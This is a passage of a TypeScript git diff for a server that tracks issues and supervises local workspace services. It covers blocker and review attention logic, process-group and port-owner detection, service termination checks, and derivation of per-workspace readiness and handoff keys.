+      for (const row of [...runRows, ...wakeRows]) {
+        if (row.recoveryActionId) liveRecoveryActionIds.add(row.recoveryActionId);
+      }
+    }
+    for (const row of recoveryActionRows) {
+      const healthy =
+        (row.status === "escalated" && row.ownerType === "board") ||
+        Boolean(row.ownerUserId) ||
+        (Boolean(row.ownerAgentId) && liveRecoveryActionIds.has(row.id));
+      if (healthy) explicitWaitingIssueIds.add(row.sourceIssueId);
+    }
   }
 
   const agentRows: IssueBlockerAttentionAgentRow[] = agentIds.size > 0
@@ -2705,7 +2754,12 @@ async function listIssueBlockerAttentionMap(
     if (seen.has(nodeId)) return false;
     const node = nodesById.get(nodeId);
     if (!node || node.companyId !== companyId) return false;
-    if (node.status === "in_progress" || activeIssueIds.has(node.id)) return true;
+    if (
+      node.status === "in_progress" ||
+      activeIssueIds.has(node.id) ||
+      explicitWaitingIssueIds.has(node.id) ||
+      Boolean(node.assigneeUserId)
+    ) return true;
 
     const nextSeen = new Set(seen);
     nextSeen.add(nodeId);
@@ -2758,6 +2812,11 @@ async function listIssueBlockerAttentionMap(
     const sampledTerminalIdentifier = sampleEntry?.result.stalled
       ? sampleEntry.result.sampleStalledBlockerIdentifier ?? sampleEntry.result.sampleBlockerIdentifier
       : sampleEntry?.result.sampleBlockerIdentifier ?? blockerSampleIdentifier(sampleNode);
+    const terminalBlockerIssueId =
+      sampleEntry?.result.terminalBlockerIssueId ?? issueIdForSample(sampledTerminalIdentifier);
+    const terminalBlockerNode = terminalBlockerIssueId
+      ? nodesById.get(terminalBlockerIssueId) ?? null
+      : null;
 
     let state: IssueBlockerAttention["state"];
     let reason: IssueBlockerAttention["reason"];
@@ -2788,8 +2847,15 @@ async function listIssueBlockerAttentionMap(
       sampleStalledBlockerIdentifier:
         stalledEntry?.result.sampleStalledBlockerIdentifier ?? sampleStalledFromChain ?? null,
       blockingTreeLive: topLevelEdges.some((edge) => pathHasLiveWork(edge.blockerIssueId, new Set([root.id]))),
-      terminalBlockerIssueId:
-        sampleEntry?.result.terminalBlockerIssueId ?? issueIdForSample(sampledTerminalIdentifier),
+      directBlockerIssueId: sampleEntry?.edge.blockerIssueId ?? null,
+      terminalBlockerIssueId,
+      terminalBlocker: terminalBlockerNode
+        ? {
+            id: terminalBlockerNode.id,
+            identifier: terminalBlockerNode.identifier,
+            title: terminalBlockerNode.title,
+          }
+        : null,
     }));
   }
 
@@ -2909,6 +2975,11 @@ async function listIssueReviewAttentionMap(
         issueId: issueThreadInteractions.issueId,
         status: issueThreadInteractions.status,
         kind: issueThreadInteractions.kind,
+        createdByAgentId: issueThreadInteractions.createdByAgentId,
+        sourceRunId: issueThreadInteractions.sourceRunId,
+        addresseeAgentId: issueThreadInteractions.addresseeAgentId,
+        effectiveResolverPolicy: issueThreadInteractions.effectiveResolverPolicy,
+        resolverPolicyProvenance: issueThreadInteractions.resolverPolicyProvenance,
         createdAt: issueThreadInteractions.createdAt,
       })
       .from(issueThreadInteractions)
@@ -3032,32 +3103,56 @@ async function listIssueReviewAttentionMap(
     : [];
   const userNameById = new Map((userRows as Array<{ id: string; name: string }>).map((user) => [user.id, user.name]));
   const interactionKindById = new Map((interactionRows as Array<{ id: string; kind: string }>).map((row) => [row.id, row.kind]));
+  const interactionAudienceById = new Map((interactionRows as Array<{
+    id: string;
+    createdByAgentId: string | null;
+    sourceRunId: string | null;
+    addresseeAgentId: string | null;
+    effectiveResolverPolicy: string;
+    resolverPolicyProvenance: string | null;
+  }>).map((row) => [row.id, row]));
   const wakeReasonById = new Map((wakeRows as Array<{ id: string; reason: string | null }>).map((row) => [row.id, row.reason]));
 
   for (const issue of reviewIssues) {
     const pathFacts = classifyIssueReviewPaths(livenessInput, livenessInput.issues.find((entry) => entry.id === issue.id)!);
-    const paths: IssueReviewAttentionPath[] = pathFacts.map((path) => ({
-      kind: path.kind,
-      label: reviewPathLabel(
-        path.kind,
-        path.kind === "interaction" && path.ref
-          ? interactionKindById.get(path.ref) ?? null
-          : path.kind === "queued_wake" && path.ref
-            ? wakeReasonById.get(path.ref) ?? null
-            : null,
-      ),
-      responder: path.agentId
-        ? agentNameById.get(path.agentId) ?? path.agentId
-        : path.userId
-          ? userNameById.get(path.userId) ?? path.userId
-          : path.kind === "interaction" || path.kind === "approval"
-            ? "Board"
-            : null,
-      since: path.since
-        ? (path.since instanceof Date ? path.since : new Date(path.since)).toISOString()
-        : issue.updatedAt.toISOString(),
-      ref: path.ref,
-    }));
+    const paths: IssueReviewAttentionPath[] = pathFacts.map((path) => {
+      const interactionAudience = path.kind === "interaction" && path.ref
+        ? interactionAudienceById.get(path.ref) ?? null
+        : null;
+      const candidateAgentId = interactionAudience?.addresseeAgentId ?? issue.assigneeAgentId;
+      const interactionResponderAgentId = interactionAudience
+        && candidateAgentId
+        && issueThreadInteractionAttentionAgentAllowed({
+          agentId: candidateAgentId,
+          interaction: interactionAudience,
+        })
+          ? candidateAgentId
+          : null;
+      return {
+        kind: path.kind,
+        label: reviewPathLabel(
+          path.kind,
+          path.kind === "interaction" && path.ref
+            ? interactionKindById.get(path.ref) ?? null
+            : path.kind === "queued_wake" && path.ref
+              ? wakeReasonById.get(path.ref) ?? null
+              : null,
+        ),
+        responder: path.agentId
+          ? agentNameById.get(path.agentId) ?? path.agentId
+          : path.userId
+            ? userNameById.get(path.userId) ?? path.userId
+            : path.kind === "interaction" && interactionResponderAgentId
+              ? agentNameById.get(interactionResponderAgentId) ?? interactionResponderAgentId
+              : path.kind === "interaction" || path.kind === "approval"
+                ? "Board"
+                : null,
+        since: path.since
+          ? (path.since instanceof Date ? path.since : new Date(path.since)).toISOString()
+          : issue.updatedAt.toISOString(),
+        ref: path.ref,
+      };
+    });
 
     if (paths.length > 0) {
       result.set(issue.id, {
@@ -3101,6 +3196,12 @@ const issueListSelect = {
       )
     END
   `,
+  descriptionTruncated: sql<boolean>`
+    CASE
+      WHEN ${issues.description} IS NULL THEN false
+      ELSE length(${issues.description}) > ${ISSUE_LIST_DESCRIPTION_MAX_CHARS}
+    END
+  `,
   status: issues.status,
   workMode: issues.workMode,
   harnessKind: issues.harnessKind,
@@ -4375,9 +4476,18 @@ export function issueService(db: Db) {
     return enriched;
   }
 
-  async function getCurrentScheduledRetryForIssue(issueId: string, companyId: string): Promise<IssueScheduledRetryRow | null> {
-    const row = await db
+  async function getCurrentScheduledRetriesForIssues(
+    issueIds: string[],
+    companyId: string,
+    dbOrTx: DbReader = db,
+  ): Promise<Map<string, IssueScheduledRetryRow>> {
+    const uniqueIssueIds = [...new Set(issueIds)];
+    if (uniqueIssueIds.length === 0) return new Map();
+
+    const contextIssueId = sql<string>`${heartbeatRuns.contextSnapshot} ->> 'issueId'`;
+    const rows = await dbOrTx
       .select({
+        issueId: contextIssueId,
         runId: heartbeatRuns.id,
         status: heartbeatRuns.status,
         agentId: heartbeatRuns.agentId,
@@ -4394,15 +4504,35 @@ export function issueService(db: Db) {
       .where(
         and(
           eq(heartbeatRuns.companyId, companyId),
-          eq(heartbeatRuns.status, "scheduled_retry"),
-          sql`${heartbeatRuns.contextSnapshot} ->> 'issueId' = ${issueId}`,
+          inArray(heartbeatRuns.status, ["scheduled_retry", "queued", "running"]),
+          isNotNull(heartbeatRuns.scheduledRetryReason),
+          inArray(contextIssueId, uniqueIssueIds),
         ),
       )
-      .orderBy(asc(heartbeatRuns.scheduledRetryAt), asc(heartbeatRuns.createdAt), asc(heartbeatRuns.id))
-      .limit(1)
-      .then((rows) => rows[0] ?? null);
+      .orderBy(
+        sql`case ${heartbeatRuns.status}
+          when 'running' then 0
+          when 'queued' then 1
+          else 2
+        end`,
+        asc(heartbeatRuns.scheduledRetryAt),
+        asc(heartbeatRuns.createdAt),
+        asc(heartbeatRuns.id),
+      );
 
-    return row ? { ...row, status: "scheduled_retry" } : null;
+    const currentByIssueId = new Map<string, IssueScheduledRetryRow>();
+    for (const row of rows) {
+      if (currentByIssueId.has(row.issueId)) continue;
+      const status = row.status;
+      if (status !== "scheduled_retry" && status !== "queued" && status !== "running") continue;
+      currentByIssueId.set(row.issueId, { ...row, status });
+    }
+    return currentByIssueId;
+  }
+
+  async function getCurrentScheduledRetryForIssue(issueId: string, companyId: string): Promise<IssueScheduledRetryRow | null> {
+    const currentByIssueId = await getCurrentScheduledRetriesForIssues([issueId], companyId);
+    return currentByIssueId.get(issueId) ?? null;
   }
 
   function deriveIssueCommentAuthorType(comment: {
@@ -4934,6 +5064,24 @@ export function issueService(db: Db) {
       relations.blocks.sort((a, b) => a.title.localeCompare(b.title));
     }
 
+    const relationSummaries: IssueRelationIssueSummary[] = [];
+    const collectRelationSummary = (summary: IssueRelationIssueSummary) => {
+      relationSummaries.push(summary);
+      for (const terminal of summary.terminalBlockers ?? []) collectRelationSummary(terminal);
+    };
+    for (const relations of empty.values()) {
+      for (const blocker of relations.blockedBy) collectRelationSummary(blocker);
+      for (const blocking of relations.blocks) collectRelationSummary(blocking);
+    }
+    const scheduledRetryByIssueId = await getCurrentScheduledRetriesForIssues(
+      relationSummaries.map((summary) => summary.id),
+      companyId,
+      dbOrTx,
+    );
+    for (const summary of relationSummaries) {
+      summary.scheduledRetry = scheduledRetryByIssueId.get(summary.id) ?? null;
+    }
+
     return empty;
   }
 
@@ -5893,6 +6041,15 @@ export function issueService(db: Db) {
       return getIssueByUuid(id);
     },
 
+    getByIdForUpdate: async (id: string, dbOrTx: any) => {
+      return dbOrTx
+        .select()
+        .from(issues)
+        .where(eq(issues.id, id))
+        .for("update")
+        .then((rows: Array<typeof issues.$inferSelect>) => rows[0] ?? null);
+    },
+
     getByIdentifier: async (identifier: string) => {
       return getIssueByIdentifier(identifier);
     },
diff --git a/server/src/services/local-service-supervisor.ts b/server/src/services/local-service-supervisor.ts
index b459ad3cff5..0eee27ea3d5 100644
--- a/server/src/services/local-service-supervisor.ts
+++ b/server/src/services/local-service-supervisor.ts
@@ -1,5 +1,6 @@
 import { execFile } from "node:child_process";
 import { createHash } from "node:crypto";
+import fsSync from "node:fs";
 import fs from "node:fs/promises";
 import path from "node:path";
 import { setTimeout as delay } from "node:timers/promises";
@@ -63,6 +64,32 @@ function getRuntimeServicesDir() {
   return path.resolve(resolvePaperclipInstanceRoot(), "runtime-services");
 }
 
+function getRuntimeServiceLogsDir() {
+  return path.resolve(resolvePaperclipInstanceRoot(), "runtime-service-logs");
+}
+
+export function resolveLocalServiceLogPath(serviceKey: string) {
+  if (!/^[a-z0-9._-]+$/.test(serviceKey)) {
+    throw new Error("Invalid local service key for log path");
+  }
+  return path.resolve(getRuntimeServiceLogsDir(), `${serviceKey}.log`);
+}
+
+/**
+ * Open a managed service's durable append-only output file.
+ *
+ * The returned descriptor is intended to be passed directly to spawn(). The
+ * child receives its own duplicate, so the caller can close this handle as soon
+ * as spawn returns without tying the service's stdio lifetime to Paperclip's.
+ */
+export async function openLocalServiceLogFile(serviceKey: string) {
+  await fs.mkdir(getRuntimeServiceLogsDir(), { recursive: true });
+  const logPath = resolveLocalServiceLogPath(serviceKey);
+  const handle = await fs.open(logPath, "a+", 0o600);
+  const startOffset = (await handle.stat()).size;
+  return { handle, logPath, startOffset };
+}
+
 function getRuntimeServiceRegistryPath(serviceKey: string) {
   return path.resolve(getRuntimeServicesDir(), `${serviceKey}.json`);
 }
@@ -230,22 +257,145 @@ export function isProcessGroupAlive(processGroupId: number | null | undefined) {
   if (typeof processGroupId !== "number" || !Number.isInteger(processGroupId) || processGroupId <= 0) return false;
   try {
     process.kill(-processGroupId, 0);
-    return true;
   } catch {
     return false;
   }
+
+  if (process.platform === "linux") {
+    const liveMember = readLinuxProcessGroupActivity(processGroupId);
+    if (liveMember !== null) return liveMember;
+  }
+  return true;
+}
+
+function readLinuxProcessGroupActivity(processGroupId: number): boolean | null {
+  let entries: fsSync.Dirent[];
+  try {
+    entries = fsSync.readdirSync("/proc", { withFileTypes: true });
+  } catch {
+    return null;
+  }
+
+  let foundMember = false;
+  for (const entry of entries) {
+    if (!entry.isDirectory() || !/^\d+$/.test(entry.name)) continue;
+    try {
+      const stat = fsSync.readFileSync(`/proc/${entry.name}/stat`, "utf8");
+      const commandEnd = stat.lastIndexOf(")");
+      if (commandEnd < 0) continue;
+      const fields = stat.slice(commandEnd + 1).trim().split(/\s+/);
+      const state = fields[0];
+      const memberProcessGroupId = Number.parseInt(fields[2] ?? "", 10);
+      if (memberProcessGroupId !== processGroupId) continue;
+      foundMember = true;
+      if (state !== "Z" && state !== "X") return true;
+    } catch {
+      // The process can exit while /proc is scanned.
+    }
+  }
+
+  // kill(-pgid, 0) also succeeds for a group that contains only zombies. Such
+  // processes cannot run or own a listener and are waiting only for their
+  // parent to reap them, so termination is complete for service-control use.
+  return foundMember ? false : null;
+}
+
+function tokenizeCommandLine(value: string) {
+  return value.match(/"(?:\\.|[^"\\])*"|'[^']*'|\S+/g) ?? [];
+}
+
+function normalizeCommandToken(value: string) {
+  const unquoted = value.replace(/^["']|["']$/g, "");
+  const basename = path.basename(unquoted.replace(/\\/g, "/"));
+  const launcher = basename.replace(/\.(?:cjs|mjs|js|cmd|exe)$/i, "");
+  return /^(?:bun|node|nodejs|npm|npx|pnpm|yarn)$/i.test(launcher) ? launcher : unquoted;
+}
+
+/**
+ * Return whether the configured shell command has a stable argv that can be
+ * compared with the operating system's process command line.
+ *
+ * Managed local services are started through `shell -lc`. Once a command uses
+ * shell control syntax, the surviving process-group leader can be the result of
+ * that program rather than the configured shell expression. In that case a
+ * literal argv comparison is not evidence that the process belongs to a
+ * different service; adoption instead relies on the listener, process group,
+ * and workspace cwd checks.
+ */
+export function isLocalServiceCommandLineComparable(recordedCommand: string) {
+  let quote: "'" | '"' | null = null;
+  let escaped = false;
+
+  for (const character of recordedCommand) {
+    if (escaped) {
+      escaped = false;
+      continue;
+    }
+    if (character === "\\" && quote !== "'") {
+      escaped = true;
+      continue;
+    }
+    if (quote) {
+      if (character === quote) quote = null;
+      continue;
+    }
+    if (character === "'" || character === '"') {
+      quote = character;
+      continue;
+    }
+    if ([";", "|", "&", "<", ">", "\n"].includes(character)) {
+      return false;
+    }
+  }
+
+  return true;
+}
+
+/**
+ * Compare a configured service command with the argv exposed by the OS.
+ *
+ * Package-manager launchers commonly replace `pnpm dev` with
+ * `node /path/to/pnpm.cjs dev` after the shell starts. A literal substring
+ * check rejects that surviving process even though the executable and all
+ * configured arguments are still present. Normalize executable paths and
+ * script extensions, then require the configured argv to remain contiguous.
+ */
+export function doesLocalServiceCommandLineMatch(input: {
+  commandLine: string;
+  recordedCommand: string;
+  serviceName: string;
+}) {
+  const normalize = (value: string) => value.replace(/["']/g, "").replace(/\s+/g, " ").trim();
+  const normalizedCommandLine = normalize(input.commandLine);
+  const normalizedRecordedCommand = normalize(input.recordedCommand);
+  if (
+    normalizedCommandLine.includes(normalizedRecordedCommand)
+    || normalizedCommandLine.includes(input.serviceName)
+  ) {
+    return true;
+  }
+
+  const actualTokens = tokenizeCommandLine(input.commandLine).map(normalizeCommandToken);
+  const recordedTokens = tokenizeCommandLine(input.recordedCommand).map(normalizeCommandToken);
+  if (recordedTokens.length === 0 || recordedTokens.length > actualTokens.length) return false;
+
+  return actualTokens.some((_, start) => recordedTokens.every(
+    (token, offset) => actualTokens[start + offset] === token,
+  ));
 }
 
 async function isLikelyMatchingCommand(record: LocalServiceRegistryRecord) {
   if (process.platform === "win32") return true;
+  if (!isLocalServiceCommandLineComparable(record.command)) return true;
   try {
     const { stdout } = await execFileAsync("ps", ["-o", "command=", "-p", String(record.pid)]);
     const commandLine = stdout.trim();
     if (!commandLine) return false;
-    const normalize = (value: string) => value.replace(/["']/g, "").replace(/\s+/g, " ").trim();
-    const normalizedCommandLine = normalize(commandLine);
-    const normalizedRecordedCommand = normalize(record.command);
-    return normalizedCommandLine.includes(normalizedRecordedCommand) || normalizedCommandLine.includes(record.serviceName);
+    return doesLocalServiceCommandLineMatch({
+      commandLine,
+      recordedCommand: record.command,
+      serviceName: record.serviceName,
+    });
   } catch {
     return true;
   }
@@ -285,7 +435,7 @@ export async function findAdoptableLocalService(input: {
   return record;
 }
 
-async function readProcessGroupId(pid: number) {
+export async function readLocalServiceProcessGroupId(pid: number) {
   if (process.platform === "win32") return null;
   try {
     const { stdout } = await execFileAsync("ps", ["-o", "pgid=", "-p", String(pid)]);
@@ -296,6 +446,39 @@ async function readProcessGroupId(pid: number) {
   }
 }
 
+export async function isLocalServiceProcessOwnedBy(pid: number, ownerProcessId: number) {
+  if (pid === ownerProcessId) return true;
+  if (process.platform !== "win32") {
+    return (await readLocalServiceProcessGroupId(pid)) === ownerProcessId;
+  }
+
+  try {
+    const script = [
+      `$currentProcessId = ${pid}`,
+      "while ($currentProcessId -gt 0) {",
+      "  $process = Get-CimInstance Win32_Process -Filter \"ProcessId = $currentProcessId\" -ErrorAction SilentlyContinue",
+      "  if ($null -eq $process) { break }",
+      "  $parentProcessId = [int]$process.ParentProcessId",
+      "  Write-Output $parentProcessId",
+      "  if ($parentProcessId -eq $currentProcessId) { break }",
+      "  $currentProcessId = $parentProcessId",
+      "}",
+    ].join("\n");
+    const { stdout } = await execFileAsync("powershell.exe", [
+      "-NoProfile",
+      "-NonInteractive",
+      "-Command",
+      script,
+    ]);
+    return stdout
+      .split(/\r?\n/)
+      .map((line) => Number.parseInt(line.trim(), 10))
+      .some((ancestorPid) => ancestorPid === ownerProcessId);
+  } catch {
+    return false;
+  }
+}
+
 async function adoptLocalServiceFromPortOwner(input: {
   serviceKey: string;
   profileKind?: string | null;
@@ -317,7 +500,7 @@ async function adoptLocalServiceFromPortOwner(input: {
     }
   }
 
-  const processGroupId = await readProcessGroupId(ownerPid);
+  const processGroupId = await readLocalServiceProcessGroupId(ownerPid);
   const pid = processGroupId && isPidAlive(processGroupId) ? processGroupId : ownerPid;
   const now = new Date().toISOString();
   const record: LocalServiceRegistryRecord = {
@@ -363,11 +546,34 @@ export async function touchLocalServiceRegistryRecord(
 }
 
 export async function terminateLocalService(
-  record: Pick<LocalServiceRegistryRecord, "pid" | "processGroupId">,
-  opts?: { signal?: NodeJS.Signals; forceAfterMs?: number },
+  record: Pick<LocalServiceRegistryRecord, "pid" | "processGroupId"> &
+    Partial<Pick<LocalServiceRegistryRecord, "port">>,
+  opts?: { signal?: NodeJS.Signals; forceAfterMs?: number; verifyAfterMs?: number },
 ) {
   const signal = opts?.signal ?? "SIGTERM";
   const targetProcessGroup = process.platform !== "win32" && record.processGroupId && record.processGroupId > 0;
+
+  const targetIsGone = async () => {
+    const targetAlive = targetProcessGroup
+      ? isProcessGroupAlive(record.processGroupId)
+      : isPidAlive(record.pid);
+    if (targetAlive) return false;
+    if (!record.port) return true;
+    const portOwnerPid = await readLocalServicePortOwner(record.port);
+    if (!portOwnerPid) return true;
+    const ownerProcessId = targetProcessGroup ? record.processGroupId! : record.pid;
+    return !(await isLocalServiceProcessOwnedBy(portOwnerPid, ownerProcessId));
+  };
+
+  const waitUntilGone = async (timeoutMs: number) => {
+    const deadline = Date.now() + timeoutMs;
+    do {
+      if (await targetIsGone()) return true;
+      await delay(100);
+    } while (Date.now() < deadline);
+    return await targetIsGone();
+  };
+
   try {
     if (targetProcessGroup) {
       process.kill(-record.processGroupId!, signal);
@@ -375,24 +581,10 @@ export async function terminateLocalService(
       process.kill(record.pid, signal);
     }
   } catch {
-    return;
+    if (await targetIsGone()) return;
   }
 
-  const deadline = Date.now() + (opts?.forceAfterMs ?? 2_000);
-  while (Date.now() < deadline) {
-    const targetAlive = targetProcessGroup
-      ? isProcessGroupAlive(record.processGroupId)
-      : isPidAlive(record.pid);
-    if (!targetAlive) {
-      return;
-    }
-    await delay(100);
-  }
-
-  const stillAlive = targetProcessGroup
-    ? isProcessGroupAlive(record.processGroupId)
-    : isPidAlive(record.pid);
-  if (!stillAlive) return;
+  if (await waitUntilGone(opts?.forceAfterMs ?? 2_000)) return;
   try {
     if (targetProcessGroup) {
       process.kill(-record.processGroupId!, "SIGKILL");
@@ -402,11 +594,35 @@ export async function terminateLocalService(
   } catch {
     // Ignore cleanup races.
   }
+
+  if (await waitUntilGone(opts?.verifyAfterMs ?? 2_000)) return;
+
+  const target = targetProcessGroup
+    ? `process group ${record.processGroupId}`
+    : `process ${record.pid}`;
+  const listener = record.port ? ` and listener on port ${record.port}` : "";
+  throw new Error(`Failed to terminate local service ${target}${listener}`);
 }
 
 export async function readLocalServicePortOwner(port: number) {
-  if (!Number.isInteger(port) || port <= 0 || process.platform === "win32") return null;
+  if (!Number.isInteger(port) || port <= 0) return null;
   try {
+    if (process.platform === "win32") {
+      const { stdout } = await execFileAsync("netstat", ["-ano", "-p", "tcp"]);
+      for (const line of stdout.split(/\r?\n/)) {
+        const columns = line.trim().split(/\s+/);
+        if (columns.length < 5 || columns[0]?.toUpperCase() !== "TCP") continue;
+        const localAddress = columns[1] ?? "";
+        const separatorIndex = localAddress.lastIndexOf(":");
+        const localPort = Number.parseInt(localAddress.slice(separatorIndex + 1), 10);
+        const state = columns.at(-2)?.toUpperCase();
+        const pid = Number.parseInt(columns.at(-1) ?? "", 10);
+        if (localPort === port && state === "LISTENING" && Number.isInteger(pid) && pid > 0) {
+          return pid;
+        }
+      }
+      return null;
+    }
     const { stdout } = await execFileAsync("lsof", ["-nP", `-iTCP:${port}`, "-sTCP:LISTEN", "-t"]);
     const firstPid = stdout
       .split("\n")
@@ -418,13 +634,50 @@ export async function readLocalServicePortOwner(port: number) {
   }
 }
 
+/**
+ * Resolve a running process's working directory.
+ *
+ * Linux reads it straight off procfs. macOS has no procfs, so it asks `lsof`
+ * for the process's `cwd` descriptor — the same tool this module already shells
+ * out to for port ownership, so this adds no new dependency. `-d cwd` narrows
+ * the output to the working directory.
+ *
+ * `-F0n` terminates each field with NUL instead of a newline. The parser does
+ * not trim the path or split it on newlines. That matters because the caller
+ * compares this value against a workspace root: a directory name may contain
+ * leading or trailing spaces, or even a newline, and changing the path would
+ * report a different directory than the one the process runs in.
+ *
+ * Returning a real path on macOS is what lets `adoptLocalServiceFromPortOwner`
+ * verify a listener actually belongs to the workspace. While this returned
+ * null off Linux, that check could never pass, so port-owner adoption always
+ * failed there and still-running services were reconciled to `stopped`.
+ */
 export async function readLocalServiceProcessCwd(pid: number) {
-  if (!Number.isInteger(pid) || pid <= 0 || process.platform !== "linux") return null;
-  try {
-    return await fs.readlink(`/proc/${pid}/cwd`);
-  } catch {
-    return null;
+  if (!Number.isInteger(pid) || pid <= 0) return null;
+  if (process.platform === "linux") {
+    try {
+      return await fs.readlink(`/proc/${pid}/cwd`);
+    } catch {
+      return null;
+    }
   }
+  if (process.platform === "darwin") {
+    try {
+      const { stdout } = await execFileAsync("lsof", ["-a", "-d", "cwd", "-p", String(pid), "-F0n"]);
+      // Each field ends with NUL. The newline that ends a field set carries
+      // into the next field, so drop it before reading the `n` tag; anything
+      // after the tag is the path exactly as lsof reported it.
+      const cwdField = stdout
+        .split("\0")
+        .map((field) => field.replace(/^\n+/, ""))
+        .find((field) => field.startsWith("n"));
+      return cwdField ? cwdField.slice(1) || null : null;
+    } catch {
+      return null;
+    }
+  }
+  return null;
 }
 
 export async function isLocalServiceProcessInWorkspace(processCwd: string, workspaceCwd: string) {
@@ -441,7 +694,7 @@ export async function isLocalServiceProcessInWorkspace(processCwd: string, works
 }
 
 export async function isLocalServiceRegistryCwdCompatible(processCwd: string | null, workspaceCwd: string) {
-  if (!processCwd) return process.platform !== "linux";
+  if (!processCwd) return process.platform !== "linux" && process.platform !== "darwin";
   return isLocalServiceProcessInWorkspace(processCwd, workspaceCwd);
 }
 
@@ -449,6 +702,9 @@ async function doesLocalServiceRecordMatchCwd(record: LocalServiceRegistryRecord
   if (!record.port) return true;
   const ownerPid = await readLocalServicePortOwner(record.port);
   if (!ownerPid) return false;
+  if (!(await isLocalServiceProcessOwnedBy(ownerPid, record.processGroupId ?? record.pid))) {
+    return false;
+  }
   const ownerCwd = await readLocalServiceProcessCwd(ownerPid);
   return isLocalServiceRegistryCwdCompatible(ownerCwd, record.cwd);
 }
diff --git a/server/src/services/managed-workspace-identity.ts b/server/src/services/managed-workspace-identity.ts
new file mode 100644
index 00000000000..ba7a67be8f6
--- /dev/null
+++ b/server/src/services/managed-workspace-identity.ts
@@ -0,0 +1,386 @@
+/**
+ * Control-plane half of the workspace readiness/handoff contract (PAP-17572).
+ *
+ * Resolves the identity and derived key material for one managed workspace,
+ * injects them into the guest process, and probes the guest's *protected*
+ * readiness so `running / healthy` can never be published for a workspace whose
+ * clone, identity, or login handoff disagrees with what was expected.
+ *
+ * Identity always comes from the worktree's own recorded instance pointer, never
+ * from a branch name or basename heuristic, and an unresolvable identity fails
+ * closed (no key injected, no readiness claimed).
+ */
+
+import path from "node:path";
+import { and, eq } from "drizzle-orm";
+import { authUsers, companyMemberships, type Db } from "@paperclipai/db";
+import type { WorkspaceReadiness, WorkspaceReadinessProbeResult } from "@paperclipai/shared";
+import {
+  deriveWorkspaceHandoffKey,
+  deriveWorkspaceReadinessToken,
+  resolveWorkspaceHandoffRootSecret,
+  WORKSPACE_EXECUTION_WORKSPACE_COMPANY_ID_ENV_KEY,
+  WORKSPACE_EXECUTION_WORKSPACE_ID_ENV_KEY,
+  WORKSPACE_HANDOFF_KEY_ENV_KEY,
+  WORKSPACE_READINESS_TOKEN_ENV_KEY,
+  WORKSPACE_READINESS_TOKEN_HEADER,
+  WORKSPACE_READINESS_USER_EMAIL_HEADER,
+  WORKSPACE_READINESS_USER_ID_HEADER,
+} from "../auth/workspace-login-handoff.js";
+import { logger } from "../middleware/logger.js";
+import {
+  deriveWorktreeInstanceId,
+  readWorktreeInstanceId,
+} from "./workspace-instance-cleanup.js";
+
+/**
+ * Per-probe budget. Matched to the semantic transport probe it replaces, so
+ * upgrading a runtime health check to the readiness contract cannot make a
+ * managed start or a reuse decision slower than it was.
+ */
+export const WORKSPACE_READINESS_PROBE_TIMEOUT_MS = 2_000;
+
+export type ManagedWorkspaceIdentity = {
+  instanceId: string;
+  executionWorkspaceId: string;
+  companyId: string;
+  handoffKey: string;
+  readinessToken: string;
+  /** Whether the root secret was configured explicitly or derived. */
+  secretSource: "dedicated" | "derived";
+};
+
+/**
+ * Resolve the isolated instance id a worktree actually runs as.
+ *
+ * The worktree's `.paperclip/.env` pointer is authoritative because it is what
+ * the guest process itself loads. The path-derived id is only a fallback for a
+ * worktree provisioned before the pointer existed, and the two agree by
+ * construction for anything Paperclip provisioned.
+ */
+export function resolveManagedWorkspaceInstanceId(workspaceCwd: string): string | null {
+  const recorded = readWorktreeInstanceId(workspaceCwd);
+  if (recorded) return recorded;
+  const derived = deriveWorktreeInstanceId(workspaceCwd);
+  return derived || null;
+}
+
+export function resolveManagedWorkspaceIdentity(input: {
+  workspaceCwd: string | null | undefined;
+  executionWorkspaceId: string | null | undefined;
+  companyId: string | null | undefined;
+  env?: NodeJS.ProcessEnv;
+}): ManagedWorkspaceIdentity | null {
+  const workspaceCwd = input.workspaceCwd?.trim();
+  const executionWorkspaceId = input.executionWorkspaceId?.trim();
+  const companyId = input.companyId?.trim();
+  if (!workspaceCwd || !executionWorkspaceId || !companyId) return null;
+
+  const root = resolveWorkspaceHandoffRootSecret(input.env ?? process.env);
+  if (!root) return null;
+
+  const instanceId = resolveManagedWorkspaceInstanceId(path.resolve(workspaceCwd));
+  if (!instanceId) return null;
+
+  return {
+    instanceId,
+    executionWorkspaceId,
+    companyId,
+    handoffKey: deriveWorkspaceHandoffKey({ rootSecret: root.secret, instanceId, executionWorkspaceId }),
+    readinessToken: deriveWorkspaceReadinessToken({ rootSecret: root.secret, instanceId, executionWorkspaceId }),
+    secretSource: root.source,
+  };
+}
+
+/**
+ * Env injected into a managed workspace's guest process.
+ *
+ * Only the *derived* per-workspace values cross the boundary: the guest never
+ * receives the root secret, so a compromised workspace cannot mint a ticket for
+ * a sibling workspace.
+ */
+export function buildManagedWorkspaceGuestEnv(identity: ManagedWorkspaceIdentity): Record<string, string> {
+  return {
+    [WORKSPACE_HANDOFF_KEY_ENV_KEY]: identity.handoffKey,
+    [WORKSPACE_READINESS_TOKEN_ENV_KEY]: identity.readinessToken,
+    [WORKSPACE_EXECUTION_WORKSPACE_ID_ENV_KEY]: identity.executionWorkspaceId,
+    [WORKSPACE_EXECUTION_WORKSPACE_COMPANY_ID_ENV_KEY]: identity.companyId,
+  };
+}
+
+function isWorkspaceReadinessShape(value: unknown): value is WorkspaceReadiness {
+  if (!value || typeof value !== "object") return false;
+  const candidate = value as Record<string, unknown>;
+  return (
+    typeof candidate.state === "string"
+    && typeof candidate.databaseReady === "boolean"
+    && typeof candidate.cloneDataReady === "boolean"
+    && typeof candidate.authHandoffReady === "boolean"
+    && (typeof candidate.authHandoffUserId === "string" || candidate.authHandoffUserId === null)
+    && typeof candidate.seedState === "string"
+    && (typeof candidate.companyId === "string" || candidate.companyId === null)
+  );
+}
+
+/**
+ * Read a managed workspace's protected readiness over loopback.
+ *
+ * Failure modes are distinguished so callers can tell "not reachable" from
+ * "reachable but serving somebody else's clone" — the second is what made a
+ * relocated port able to masquerade as healthy.
+ */
+export async function probeManagedWorkspaceReadiness(input: {
+  healthUrl: string;
+  identity: ManagedWorkspaceIdentity;
+  fetchImpl?: typeof fetch;
+  timeoutMs?: number;
+  handoffSubject?: { userId: string; email: string } | null;
+}): Promise<WorkspaceReadinessProbeResult> {
+  const fetchImpl = input.fetchImpl ?? fetch;
+  let response: Response;
+  try {
+    response = await fetchImpl(input.healthUrl, {
+      headers: {
+        [WORKSPACE_READINESS_TOKEN_HEADER]: input.identity.readinessToken,
+        ...(input.handoffSubject
+          ? {
+              [WORKSPACE_READINESS_USER_ID_HEADER]: input.handoffSubject.userId,
